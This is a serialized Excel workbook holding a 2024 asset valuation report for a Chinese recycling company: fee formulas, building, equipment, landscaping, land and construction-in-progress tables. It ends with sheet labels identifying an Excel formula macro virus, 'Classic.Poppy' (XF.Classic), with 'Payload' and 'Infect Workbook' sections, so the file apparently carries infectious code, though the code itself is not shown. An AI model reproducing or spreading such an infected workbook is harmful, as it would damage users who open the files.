[null,4,"概算审核",null,"设计概算造价",2,1.8,1.5,1.2,1,null,{"$f":"IF(K198<=200,K198*F198/1000,IF(K198<=500,(K198-200)*G198/1000+0.4,IF(K198<=2000,(K198-500)*H198/1000+0.94,IF(K198<=10000,(K198-2000)*I198/1000+3.19,IF(K198>10000,(K198-10000)*J198/1000+12.79)))))","v":{"v":0,"d":"0.000"}}]
[null,5,"预算编制",null,"建筑安装工程造价",4,3.5,3,2.5,2,{"$f":"F19","v":13000},{"$f":"IF(K199<=200,K199*F199/1000,IF(K199<=500,(K199-200)*G199/1000+0.8,IF(K199<=2000,(K199-500)*H199/1000+1.85,IF(K199<=10000,(K199-2000)*I199/1000+6.35,IF(K199>10000,(K199-10000)*J199/1000+26.35)))))","v":{"v":32.35,"d":"32.350"}}]
[null,6,"预算审核",null,"建筑安装工程造价",3.2,2.8,2.4,2,1.6,{"$f":"K199","v":13000},{"$f":"IF(K200<=200,K200*F200/1000,IF(K200<=500,(K200-200)*G200/1000+0.64,IF(K200<=2000,(K200-500)*H200/1000+1.48,IF(K200<=10000,(K200-2000)*I200/1000+5.08,IF(K200>10000,(K200-10000)*J200/1000+21.08)))))","v":{"v":25.88,"d":"25.880"}}]
[null,7,"工程量清单编制（或审核）",null,"建筑安装工程造价",5,4,3,2.2,1.8,null,{"$f":"IF(K201<=200,K201*F201/1000,IF(K201<=500,(K201-200)*G201/1000+1,IF(K201<=2000,(K201-500)*H201/1000+2.2,IF(K201<=10000,(K201-2000)*I201/1000+6.7,IF(K201>10000,(K201-10000)*J201/1000+24.3)))))","v":{"v":0,"d":"0.000"}}]
[null,8,"招标控制价编制（或审核）",null,"建筑安装工程造价",2,1.8,1.6,1.4,1.2,null,{"$f":"IF(K202<=200,K202*F202/1000,IF(K202<=500,(K202-200)*G202/1000+0.4,IF(K202<=2000,(K202-500)*H202/1000+0.94,IF(K202<=10000,(K202-2000)*I202/1000+3.34,IF(K202>10000,(K202-10000)*J202/1000+14.54)))))","v":{"v":0,"d":"0.000"}}]
[null,9,"投标报价分析（清标）",null,"建筑安装工程造价",0.6,0.5,0.4,0.3,0.2,null,{"$f":"IF(K203<=200,K203*F203/1000,IF(K203<=500,(K203-200)*G203/1000+0.12,IF(K203<=2000,(K203-500)*H203/1000+0.27,IF(K203<=10000,(K203-2000)*I203/1000+0.87,IF(K203>10000,(K203-10000)*J203/1000+3.27)))))","v":{"v":0,"d":"0.000"}}]
[null,10,"施工阶段造价咨询","（1）基本收费","建筑安装工程造价",null,null,8,6,4,null,{"$f":"IF(K204<=2000,(K204)*H204/1000,IF(K204<=10000,(K204-2000)*I204/1000+16,IF(K204>10000,(K204-10000)*J204/1000+64)))","v":{"v":0,"d":"0.000"}}]
[{"$nulls":3},"（2）效益收费","审减额+审增额",5,{"$nulls":5},{"$f":"K205*F205/100","v":{"v":0,"d":"0.00"}}]
[null,11,"结算编制",null,"建筑安装工程造价",5,4.5,4,3.5,3,null,{"$f":"IF(K206<=200,K206*F206/1000,IF(K206<=500,(K206-200)*G206/1000+1,IF(K206<=2000,(K206-500)*H206/1000+2.35,IF(K206<=10000,(K206-2000)*I206/1000+8.35,IF(K206>10000,(K206-10000)*J206/1000+36.35)))))","v":{"v":0,"d":"0.000"}}]
[null,12,"结算审核","（1）基本收费","建筑安装工程送审造价",4.5,4,3.5,3,2.5,null,{"$f":"IF(K207<=200,K207*F207/1000,IF(K207<=500,(K207-200)*G207/1000+0.9,IF(K207<=2000,(K207-500)*H207/1000+2.1,IF(K207<=10000,(K207-2000)*I207/1000+7.35,IF(K207>10000,(K207-10000)*J207/1000+31.35)))))","v":{"v":0,"d":"0.000"}}]
[{"$nulls":3},"（2）效益收费","审减额+审增额",8,{"$nulls":5},{"$f":"K208*F208/100","v":{"v":0,"d":"0.00"}}]
[null,13,"竣工决算编制",null,"建设项目总投资",2,1.5,1.2,1,0.8,{"$f":"K200","v":13000},{"$f":"IF(K209<=200,K209*F209/1000,IF(K209<=500,(K209-200)*G209/1000+0.4,IF(K209<=2000,(K209-500)*H209/1000+0.85,IF(K209<=10000,(K209-2000)*I209/1000+2.65,IF(K209>10000,(K209-10000)*J209/1000+10.65)))))","v":{"v":13.05,"d":"13.050"}}]
[null,14,"全过程造价咨询","（1）基本收费","建筑安装工程造价",null,null,13,10,8,null,{"$f":"IF(K210<=2000,(K210)*H210/1000,IF(K210<=10000,(K210-2000)*I210/1000+26,IF(K210>10000,(K210-10000)*J210/1000+106)))","v":{"v":0,"d":"0.000"}}]
[{"$nulls":3},"（2）效益收费","审减额+审增额",5,{"$nulls":5},{"$f":"K211*F211/100","v":{"v":0,"d":"0.00"}}]
[null,15,"工程造价争议鉴定",null,"鉴定标的（千分之）",12,10,8,6,5,null,{"$f":"IF(K212<=200,K212*F212/1000,IF(K212<=500,(K212-200)*G212/1000+2.4,IF(K212<=2000,(K212-500)*H212/1000+5.4,IF(K212<=10000,(K212-2000)*I212/1000+17.4,IF(K212>10000,(K212-10000)*J212/1000+65.4)))))","v":{"v":0,"d":"0.000"}}]
[]
[{"$nulls":11},{"$f":"SUM(L195:L213)","v":71.28}]
[{"$nulls":11},{"$f":"L214/K209","v":{"v":0.0055,"d":"0.55%"}}]

{"sheet":"房屋建筑物","index":44,"n_rows":29,"n_cols":11,"rows_kept":29,"merged":[[1,0,1,7],[2,0,2,8],[4,0,5,0],[4,1,5,1],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[4,6,5,6],[4,7,5,7],[4,8,5,8],[4,9,5,9],[4,10,5,10],[26,0,26,2],[27,0,27,2],[28,0,28,2]]}
["返回索引页","返回"]
["固定资产—房屋建筑物评估明细表"]
[]
["被评估企业： 北方鼎业再生资源开发有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","权证编号","建筑物名称","结构","建成\n年月","计量单位","建筑          面积/容积","评估单价(元/m2)","备注","现场勘察简单记录","证载权利人"]
[]
[1,null,"吊装房（两个）","集装箱",2012,"m2",{"v":36,"d":"36.00"},180]
[2,null,"彩钢房","彩钢",2013,"m2",{"v":18,"d":"18.00"},240]
[3,"滦南房权证倴私字第016874号","综合办公楼","框架",2014,"m2",7631.23,{"v":3592,"d":"3,592"},"含地源热泵、电梯"]
[4,"滦南房权证倴私字第016874号","宿舍楼","框架",2014,"m2",3975.45,{"v":3316,"d":"3,316"},"含地源热泵"]
[5,"滦南房权证倴私字第016874号","仓库","钢结构",2012,"m2",5135.81,{"v":1072,"d":"1,072"}]
[6,"滦南房权证倴私字第016874号","车间","钢结构",2012,"m2",10461.83,{"v":1201,"d":"1,201"}]
[7,null,"西门卫","混合",2012,"m2",{"v":36,"d":"36.00"},{"v":1433,"d":"1,433"}]
[8,null,"地磅房","混合",2012,"m2",{"v":27,"d":"27.00"},{"v":1434,"d":"1,434"}]
[9,null,"九间房","混合",2012,"m2",533.52,{"v":1494,"d":"1,494"}]
[10,null,"厕所","砖混",2012,"m2",{"v":18,"d":"18.00"},{"v":1083,"d":"1,083"}]
[11,null,"热水井房","砖混",2012,"m2",22.55,944]
[12,null,"污水处理房","钢混",2012,"m2",{"v":1621.8,"d":"1621.80"},{"v":3469,"d":"3,469"}]
[13,null,"饮用水井房","砖混",2012,"m2",{"v":18,"d":"18.00"},{"v":1057,"d":"1,057"}]
{"$rows_empty":7}
["合计",{"$nulls":5},{"v":29535.19,"d":"29,535.19"}]
["减：房屋建筑物减值准备"]
["合计",{"$nulls":5},{"v":29535.19,"d":"29,535.19"}]

{"sheet":"房屋建筑物打分法成新率","index":45,"n_rows":13,"n_cols":9,"rows_kept":13,"hidden":true,"merged":[[0,0,0,8],[9,0,9,1],[9,2,9,6],[9,7,9,8]]}
["评估人员按照《房屋完损等级评定标准》(城住字(1984)第678号)，通过现场勘察房屋各部位的完损程度并对其量化打分"]
["结构项目","标准分","评分","装修项目","标准分","评分","设备项目","标准分","评分"]
["基础",20,20,"门窗",35,28,"电照",50,38]
["承重构件",30,23,"外粉刷",25,20,"水卫",40,30]
["非承重墙",15,10,"内粉刷",20,15,"其他",10,10]
["屋面",20,15,"顶棚",20,15]
["楼地面",15,10]
["小计",100,78,null,100,78,null,100,78]
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[]
[]
["综合成新率=年限法成新率×权重40%+打分法成新率×权重60%"]

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["返回索引页","返回"]
["固定资产—构筑物及其他辅助设施评估明细表"]
[]
["被评估企业： 北方鼎业再生资源开发有限公司",{"$nulls":6},"金额单位：人民币元"]
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[9,"篮球场地面","混凝土",2012,"m2",{"v":700,"d":"700.00"},55]
{"$rows_empty":13}
["合计"]
["减：构筑物及其他辅助设施减值准备"]
["合计"]

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["返回索引页","返回"]
["固定资产—管道和沟槽评估明细表"]
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["返回索引页","返回"]
["固定资产—机器设备评估明细表"]
["评估基准日：2024年5月13日"]
["被评估企业： 北方鼎业再生资源开发有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","设备编号","设备名称","规格型号","生产厂家","计量单位","数量","购置日期","启用日期","评估价格","备注"]
[]
[1,null,"水泵及配电柜","150QY160-6-4",null,"台",1,"2012-07-31","2012-07-31",{"v":641,"d":"641.00"}]
[2,null,"水准仪","DS3-Z","南京大西洋仪器有限公司","台",1,"2013-03-16","2013-03-16",{"v":130,"d":"130.00"}]
[3,null,"水准仪","DZS3-1","北京博飞仪器有限责任公司","台",1,"2013-05-18","2013-05-18",{"v":99,"d":"99.00"}]
[4,null,"铟钢尺",null,null,"个",1,"2013-03-16","2013-03-16",0,"未见实物"]
[5,null,"剥线机","利牌918-33型","台州市利牌剥线机制造厂","台",5,"2014-01-22","2014-01-22",{"v":11078,"d":"11,078.00"}]
[6,null,"电子汽车衡","SCS-150","唐山蓝箭电子衡器有限公司","台",1,"2013-06-23","2013-06-23",{"v":24170,"d":"24,170.00"}]
[7,null,"净化器","HCHYD1400",null,"台",2,"2013-07-20","2013-07-20",{"v":236,"d":"236.00"}]
[8,null,"废钢破碎生产线","PSX-80104型","湖北力帝机床股份有限公司","台",1,"2013-11-07","2013-11-07",{"v":2182001,"d":"2,182,001.00"},"含废钢除尘设备"]
[9,null,"放射性监测系统","监测系统RC3000",null,"套",1,"2013-11-06","2013-11-06",{"v":61035,"d":"61,035.00"},"已拆除闲置"]
[{"$nulls":3},"BS9511x r辐射剂量检测仪","上海贝谷仪器科技有限公司","台",2,"2013-11-06","2013-11-06",{"v":893,"d":"893.00"},"现场1台，盘亏一台"]
[{"$nulls":3},"连体防护服",null,"套",2,"2013-11-06","2013-11-06",0,"未见实物"]
[10,null,"摇臂钻","Z3032","滕州市新恒机械","台",1,"2013-11-27","2013-11-27",{"v":2909,"d":"2,909.00"}]
[11,null,"抓钢机头",null,null,"台",1,"2016-12-23","2016-12-23",{"v":17395,"d":"17,395.00"}]
[12,null,"奥迪汽车",null,null,"台",1,"2012-05-15","2012-05-15",0,"未见实物"]
[13,null,"电容柜及配件",{"$nulls":4},"2012-07-17","2012-07-17",0,"并入房屋建筑附属设施"]
[14,null,"电力设施及安装",{"$nulls":4},"2012-08-01","2012-08-01",0,"并入房屋建筑附属设施"]
[15,null,"经纬仪",{"$nulls":4},"2013-03-16","2013-03-16",0,"未见实物"]
[16,null,"搅拌机及配件","300型",{"$nulls":3},"2013-05-14","2013-05-14",0,"未见实物"]
[17,null,"廊坊富士达电梯","MLVF-T-1000KG-1.5m/s-7T/7F",null,"部",1,"2019-12-23","2019-12-23",0,"并入房屋建筑附属设施"]
[18,null,"高级铝合金公路尺","JZC-2型","温州市华昌测绘仪器厂","台",1,null,null,{"v":27,"d":"27.00"},"盘盈"]
[19,null,"篮球架",null,null,"个",2,null,null,{"v":610,"d":"610.00"},"在建工程-篮球架"]
[20,null,"配电箱","380v",null,"台",2,null,null,{"v":305,"d":"305.00"},"在建工程-配电室"]
[21,null,"消防水箱","厚10CM",null,"m³",486.1451,null,null,{"v":21216,"d":"21,216.00"},"在建工程-消防水箱"]
[22,null,"电动伸缩门（含门禁）",null,null,"套",1,null,null,{"v":1724,"d":"1,724.00"},"盘盈"]
[23,null,"钢卷尺","BANG2E","邦泽工具","个",1,null,null,{"v":8,"d":"8.00"},"盘盈"]
[]
[]
[]
["合计",{"$nulls":8},{"v":2324477,"d":"2,324,477.00"}]
["减：机器设备减值准备"]
["合计",{"$nulls":8},{"v":2324477,"d":"2,324,477.00"}]
["被评估企业填表人：赵卫国"]
["填表日期：2024年5月13日"]

{"sheet":"机器设备综合成新率","index":49,"n_rows":8,"n_cols":2,"rows_kept":8,"hidden":true,"merged":[[0,0,0,1]]}
["根据以往设备评估实践中的经验总结、数据归类，本公司分类整理并测定了各 类设备成新率相关调整系数及调整范围，如下："]
["设备利用系数B1","(0. 85-1. 15)"]
["设备负荷系数B2","(0. 85-1. 15)"]
["设备状况系数B3","(0. 85-1.15)"]
["环境系数B4","(0. 80-1. 00)"]
["维修保养系数B5","(0. 85-1.05)"]
[]
["综合成新率 K=年限成新率 *B1*B2*B3*B4*B5*100%"]

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["返回索引页","返回"]
["固定资产—园林绿化评估明细表"]
[]
["被评估企业： 北方鼎业再生资源开发有限公司",{"$nulls":10},"金额单位：人民币元"]
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[{"$nulls":4},"直径 (cm)","冠幅 (m)","高度 (m)"]
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[2,"冬青",{"$nulls":5},"㎡",{"v":2102.5,"d":"2102.50"},60,{"v":126150,"d":"126,150.00"},"在建工程-园区绿化",null,"百度爱采购网"]
[3,"樱花树",null,null,"5-8",null,null,"棵",{"v":54,"d":"54.00"},200,{"v":10800,"d":"10,800.00"},"在建工程-园区绿化",null,"中国园林网"]
[4,"海棠树",null,null,"3-5",null,null,"棵",{"v":11,"d":"11.00"},50,{"v":550,"d":"550.00"},"在建工程-园区绿化",null,"天天苗木网"]
[5,"银杏树",null,null,"20-25",null,null,"棵",{"v":30,"d":"30.00"},2200,{"v":66000,"d":"66,000.00"},"在建工程-园区绿化",null,"中国园林网"]
[6,"松树",null,null,"25-45","3-4","3-4","棵",{"v":13,"d":"13.00"},30000,{"v":390000,"d":"390,000.00"},"在建工程-园区绿化",null,"爱采购网"]
[7,"柿子树",null,null,"5-9",null,null,"棵",{"v":113,"d":"113.00"},150,{"v":16950,"d":"16,950.00"},"在建工程-园区绿化",null,"中国园林网"]
[8,"山楂树",null,null,"5-7",null,null,"棵",{"v":15,"d":"15.00"},120,{"v":1800,"d":"1,800.00"},"在建工程-园区绿化",null,"中国园林网"]
[9,"桃树",null,null,"7-12",null,null,"棵",{"v":242,"d":"242.00"},180,{"v":43560,"d":"43,560.00"},"在建工程-园区绿化",null,"中国园林网"]
[10,"杏树",null,null,"6.5-9",null,null,"棵",{"v":39,"d":"39.00"},200,{"v":7800,"d":"7,800.00"},"在建工程-园区绿化",null,"中国园林网"]
[11,"苹果树",null,null,"6.5-10.5",null,null,"棵",{"v":37,"d":"37.00"},200,{"v":7400,"d":"7,400.00"},"在建工程-园区绿化",null,"中国园林网"]
[12,"石榴树",null,null,"3-5",null,null,"棵",{"v":15,"d":"15.00"},80,{"v":1200,"d":"1,200.00"},"在建工程-园区绿化",null,"中国园林网"]
[13,"大樱桃树",null,null,"5-9",null,null,"棵",{"v":11,"d":"11.00"},350,{"v":3850,"d":"3,850.00"},"在建工程-园区绿化",null,"中国园林网"]
[14,"核桃树",null,null,"8-13",null,null,"棵",{"v":17,"d":"17.00"},400,{"v":6800,"d":"6,800.00"},"在建工程-园区绿化",null,"中国园林网"]
[15,"葡萄秧",null,null,"0.2-0.6",null,null,"棵",{"v":240,"d":"240.00"},5,{"v":1200,"d":"1,200.00"},"在建工程-园区绿化",null,"爱采购网"]
[]
["合            计",{"$nulls":9},{"v":740460,"d":"740,460.00"}]
[null,null,"赵卫国"]

{"sheet":"车辆现场勘查成新率","index":51,"n_rows":14,"n_cols":5,"rows_kept":14,"hidden":true}
["现场勘察情况"]
[]
["通过技术测定及现场观察，该车辆主要结构成新率如下:"]
[]
["技术测定及观察项目","标准值","实测情况","实测新度系数","成新率 测定值％"]
["发动机及离合器总成",25,"发动机运行正常，加速性能正 常.离合器运行正常",95,{"$f":"B6*D6/100","v":23.75}]
["变速器及转动轴总成",12,"变速箱齿轮工作正常，变速操 作正常，传动軸总成工作正常",90,{"v":10.8,"d":"10.80"}]
["的桥及转向器前悬总成",9,"前桥传动系统运行一般、差速 箱转向器工作一般，前悬挂总 成一般",95,8.55]
["后桥及后悬架总成",9,"后桥系统运行正常、后悬架总 成正常，避振器效果正常",95,8.55]
["制动系统",6,"前后轮制动系统工作正常、制 动正常，刹车泵工作正常",90,{"v":5.4,"d":"5.40"}]
["车身总成",28,"较好、内装饰一般、整治度一 般",90,{"v":25.2,"d":"25.20"}]
["电器仪表系统",7,"电器仪表系统正常、灯光正 常、仪表指示器运行正常、他 感器运行正常",90,{"v":6.3,"d":"6.30"}]
["轮胎",4,"轮胎稍许磨损，气压正常",90,{"v":3.6,"d":"3.60"}]
["小计",100,null,null,"92 （取整）"]

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["固定资产—电子设备评估明细表"]
[]
["被评估企业： 北方鼎业再生资源开发有限公司",{"$nulls":10},"金额单位：人民币元"]
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[1,null,"电脑",null,null,"联想","台",1,"2012-07-28","2012-07-28",{"v":300,"d":"300.00"}]
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["固定资产—土地评估明细表"]
["评估基准日：2024年5月13日"]
["被评估企业： 北方鼎业再生资源开发有限公司",{"$nulls":10},"金额单位：人民币元"]
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[]
[1,"冀倴国用（2012）第120233号","北方鼎业再生资源开发有限公司宗地","滦南县嘴东经济开发区南环路以北、湘江大道以东","2012年","工业","50年","外五内五",132063.19,{"v":31453500,"d":"31,453,500.00"},""]
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["被评估企业填表人：赵卫国"]
["填表日期：2024年5月13日"]

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["在建工程—土建工程评估明细表"]
["评估基准日：2024年5月13日"]
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[null,"1、废钢回收处理项目小计",{"$nulls":8},{"v":194431051.31,"d":"194,431,051.31"},null,{"v":-194431051.31,"d":"-194,431,051.31"},{"v":-100,"d":"-100.00"},"现场勘查1、2、3、9项在建工程无法找到对应的资产，其余资产已完工，未结转固定资产，在对资产进行现场盘点时，无法与在建工程项目一一对应，本次评估按照实际盘点的固定资产进行评估"]
[null,"（1）建筑工程",{"$nulls":8},{"v":173863622.66,"d":"173,863,622.66"},null,{"v":-173863622.66,"d":"-173,863,622.66"},{"v":-100,"d":"-100.00"}]
[null,"（2）设备安装",{"$nulls":8},{"v":3399219.19,"d":"3,399,219.19"},null,{"v":-3399219.19,"d":"-3,399,219.19"},{"v":-100,"d":"-100.00"}]
[null,"（3）其他费用",{"$nulls":8},{"v":17168209.46,"d":"17,168,209.46"},null,{"v":-17168209.46,"d":"-17,168,209.46"},{"v":-100,"d":"-100.00"}]
[null,"2、废旧电线电缆项目小计",{"$nulls":8},{"v":145178.62,"d":"145,178.62"},null,{"v":-145178.62,"d":"-145,178.62"},{"v":-100,"d":"-100.00"}]
[null,"（1）建筑工程",{"$nulls":8},{"v":40839,"d":"40,839.00"},null,{"v":-40839,"d":"-40,839.00"},{"v":-100,"d":"-100.00"}]
[null,"（2）其他费用",{"$nulls":8},{"v":104339.62,"d":"104,339.62"},null,{"v":-104339.62,"d":"-104,339.62"},{"v":-100,"d":"-100.00"}]
[null,"3、污水处理项目小计",{"$nulls":8},{"v":1731728,"d":"1,731,728.00"},null,{"v":-1731728,"d":"-1,731,728.00"},{"v":-100,"d":"-100.00"}]
[null,"（1）建筑工程",{"$nulls":8},{"v":1416944.41,"d":"1,416,944.41"},null,{"v":-1416944.41,"d":"-1,416,944.41"},{"v":-100,"d":"-100.00"}]
[null,"（2）设备安装",{"$nulls":8},{"v":7804,"d":"7,804.00"},null,{"v":-7804,"d":"-7,804.00"},{"v":-100,"d":"-100.00"}]
[null,"（3）其他费用",{"$nulls":8},{"v":306979.59,"d":"306,979.59"},null,{"v":-306979.59,"d":"-306,979.59"},{"v":-100,"d":"-100.00"}]
[null,"4、废五金项目",{"$nulls":8},{"v":0,"d":"0.00"},null,"",""]
[null,"5、宿舍楼、办公楼",{"$nulls":8},{"v":27214333.86,"d":"27,214,333.86"},null,{"v":-27214333.86,"d":"-27,214,333.86"},{"v":-100,"d":"-100.00"}]
[null,"6、地源热泵",{"$nulls":8},{"v":2873246.98,"d":"2,873,246.98"},null,{"v":-2873246.98,"d":"-2,873,246.98"},{"v":-100,"d":"-100.00"}]
[null,"7、园区绿化",{"$nulls":8},{"v":944559,"d":"944,559.00"},null,{"v":-944559,"d":"-944,559.00"},{"v":-100,"d":"-100.00"}]
[null,"8、配电室",{"$nulls":8},{"v":3213.68,"d":"3,213.68"},null,{"v":-3213.68,"d":"-3,213.68"},{"v":-100,"d":"-100.00"}]
[null,"9、龙门吊",{"$nulls":8},{"v":8111.11,"d":"8,111.11"},null,{"v":-8111.11,"d":"-8,111.11"},{"v":-100,"d":"-100.00"}]
[null,"10、电梯",{"$nulls":8},{"v":93.2,"d":"93.20"},null,{"v":-93.2,"d":"-93.20"},{"v":-100,"d":"-100.00"}]
[null,"11、办公楼",{"$nulls":8},{"v":342882.85,"d":"342,882.85"},null,{"v":-342882.85,"d":"-342,882.85"},{"v":-100,"d":"-100.00"}]
[null,"12、地面",{"$nulls":8},{"v":6664.31,"d":"6,664.31"},null,{"v":-6664.31,"d":"-6,664.31"},{"v":-100,"d":"-100.00"}]
[null,"13、九间房",{"$nulls":8},{"v":238531.63,"d":"238,531.63"},null,{"v":-238531.63,"d":"-238,531.63"},{"v":-100,"d":"-100.00"}]
[null,"14、篮球架",{"$nulls":8},{"v":7897.44,"d":"7,897.44"},null,{"v":-7897.44,"d":"-7,897.44"},{"v":-100,"d":"-100.00"}]
[null,"15、消防水箱",{"$nulls":8},{"v":89941.79,"d":"89,941.79"},null,{"v":-89941.79,"d":"-89,941.79"},{"v":-100,"d":"-100.00"}]
[null,"16、宿舍楼",{"$nulls":8},{"v":7653.9,"d":"7,653.90"},null,{"v":-7653.9,"d":"-7,653.90"},{"v":-100,"d":"-100.00"}]
[null,"17、仓储库房",{"$nulls":8},{"v":27571.24,"d":"27,571.24"},null,{"v":-27571.24,"d":"-27,571.24"},{"v":-100,"d":"-100.00"}]
[null,"18、警卫室",{"$nulls":8},{"v":1255,"d":"1,255.00"},null,{"v":-1255,"d":"-1,255.00"},{"v":-100,"d":"-100.00"}]
[null,"19、废钢地面",{"$nulls":8},{"v":3570,"d":"3,570.00"},null,{"v":-3570,"d":"-3,570.00"},{"v":-100,"d":"-100.00"}]
[null,"20、废钢除尘设备",{"$nulls":8},{"v":459053.67,"d":"459,053.67"},null,{"v":-459053.67,"d":"-459,053.67"},{"v":-100,"d":"-100.00"}]
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["填表日期：2024年5月13日"]

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["Classic.Poppy by VicodinES"]
["With Lord Natas"]
["An Excel Formula Macro Virus (XF.Classic)"]
["Hydrocodone/APAP 10-650 For Your Computer"]
["(C) The Narkotic Network 1998"]
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["**Simple Payload**"]
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["**Add New Workbook, Infect It, Save It As Book1.xls**"]
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[null,null,"**Infect Workbook**"]